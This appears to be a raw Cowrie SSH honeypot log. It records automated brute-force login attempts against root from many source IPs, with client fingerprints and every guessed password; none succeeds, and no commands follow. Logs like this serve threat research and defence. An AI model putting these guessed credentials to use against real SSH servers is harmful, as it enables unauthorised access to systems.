{"eventid":"cowrie.login.failed","username":"root","password":"wladimir","message":"login attempt [root/wladimir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:05.195557Z","src_ip":"89.108.118.91","session":"dd13b136d813","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:06.323668Z","src_ip":"89.108.118.91","session":"dd13b136d813","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":45236,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba873a3dedc3","protocol":"ssh","message":"New connection: 165.154.5.173:45236 (10.17.0.5:22) [session: ba873a3dedc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:25.811047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:25.815622Z","src_ip":"165.154.5.173","session":"ba873a3dedc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:26.037051Z","src_ip":"165.154.5.173","session":"ba873a3dedc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2001","message":"login attempt [root/2001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:26.954874Z","src_ip":"165.154.5.173","session":"ba873a3dedc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:28.179024Z","src_ip":"165.154.5.173","session":"ba873a3dedc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":48756,"dst_ip":"159.203.135.109","dst_port":22,"session":"936a8d2e443d","protocol":"ssh","message":"New connection: 103.122.221.179:48756 (159.203.135.109:22) [session: 936a8d2e443d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:31.114048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:31.118562Z","src_ip":"103.122.221.179","session":"936a8d2e443d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:31.378372Z","src_ip":"103.122.221.179","session":"936a8d2e443d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghjcnjqgfhjkm","message":"login attempt [root/ghjcnjqgfhjkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:32.169257Z","src_ip":"103.122.221.179","session":"936a8d2e443d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:33.428474Z","src_ip":"103.122.221.179","session":"936a8d2e443d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":33580,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7ae227d8092","protocol":"ssh","message":"New connection: 80.66.85.226:33580 (10.17.0.5:22) [session: b7ae227d8092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:34.653741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:34.659262Z","src_ip":"80.66.85.226","session":"b7ae227d8092","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:34.745814Z","src_ip":"80.66.85.226","session":"b7ae227d8092","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11011991","message":"login attempt [root/11011991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:35.009016Z","src_ip":"80.66.85.226","session":"b7ae227d8092","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:35.361727Z","src_ip":"14.103.45.20","session":"81cb534bbecd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:36.098262Z","src_ip":"80.66.85.226","session":"b7ae227d8092","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.170.155","src_port":48524,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bda01aec213","protocol":"ssh","message":"New connection: 43.156.170.155:48524 (10.17.0.5:22) [session: 1bda01aec213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:38.171099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:38.180648Z","src_ip":"43.156.170.155","session":"1bda01aec213","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:38.418729Z","src_ip":"43.156.170.155","session":"1bda01aec213","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root/123456","password":"root","message":"login attempt [root/123456/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:39.400476Z","src_ip":"43.156.170.155","session":"1bda01aec213","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:40.641312Z","src_ip":"43.156.170.155","session":"1bda01aec213","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":38322,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca0ac749bfb8","protocol":"ssh","message":"New connection: 41.181.156.205:38322 (10.17.0.5:22) [session: ca0ac749bfb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:48.317475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:48.321804Z","src_ip":"41.181.156.205","session":"ca0ac749bfb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:48.558749Z","src_ip":"41.181.156.205","session":"ca0ac749bfb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian123","message":"login attempt [root/debian123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:49.540546Z","src_ip":"41.181.156.205","session":"ca0ac749bfb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:50.836068Z","src_ip":"41.181.156.205","session":"ca0ac749bfb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.214.214","src_port":45439,"dst_ip":"10.17.0.5","dst_port":22,"session":"afc88eae2690","protocol":"ssh","message":"New connection: 89.144.214.214:45439 (10.17.0.5:22) [session: afc88eae2690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:01.043843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:01.050424Z","src_ip":"89.144.214.214","session":"afc88eae2690","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:01.180463Z","src_ip":"89.144.214.214","session":"afc88eae2690","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2025","message":"login attempt [root/P@ssw0rd2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:01.704370Z","src_ip":"89.144.214.214","session":"afc88eae2690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:02.832351Z","src_ip":"89.144.214.214","session":"afc88eae2690","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":46290,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba583d16f2c9","protocol":"ssh","message":"New connection: 103.98.149.87:46290 (159.203.135.109:22) [session: ba583d16f2c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:10.843783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:10.989117Z","src_ip":"103.98.149.87","session":"ba583d16f2c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:11.304517Z","src_ip":"103.98.149.87","session":"ba583d16f2c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123qwe","message":"login attempt [root/123123123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:12.767920Z","src_ip":"103.98.149.87","session":"ba583d16f2c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:14.060665Z","src_ip":"103.98.149.87","session":"ba583d16f2c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":34576,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c1130f9c518","protocol":"ssh","message":"New connection: 46.253.45.10:34576 (10.17.0.5:22) [session: 1c1130f9c518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:20.695039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:20.700627Z","src_ip":"46.253.45.10","session":"1c1130f9c518","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:20.843587Z","src_ip":"46.253.45.10","session":"1c1130f9c518","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258369","message":"login attempt [root/147258369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:21.372593Z","src_ip":"46.253.45.10","session":"1c1130f9c518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:22.502362Z","src_ip":"46.253.45.10","session":"1c1130f9c518","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":37024,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b23d5039a26","protocol":"ssh","message":"New connection: 103.82.20.28:37024 (10.17.0.5:22) [session: 4b23d5039a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:27.297994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:27.302865Z","src_ip":"103.82.20.28","session":"4b23d5039a26","protocol":"ssh"}
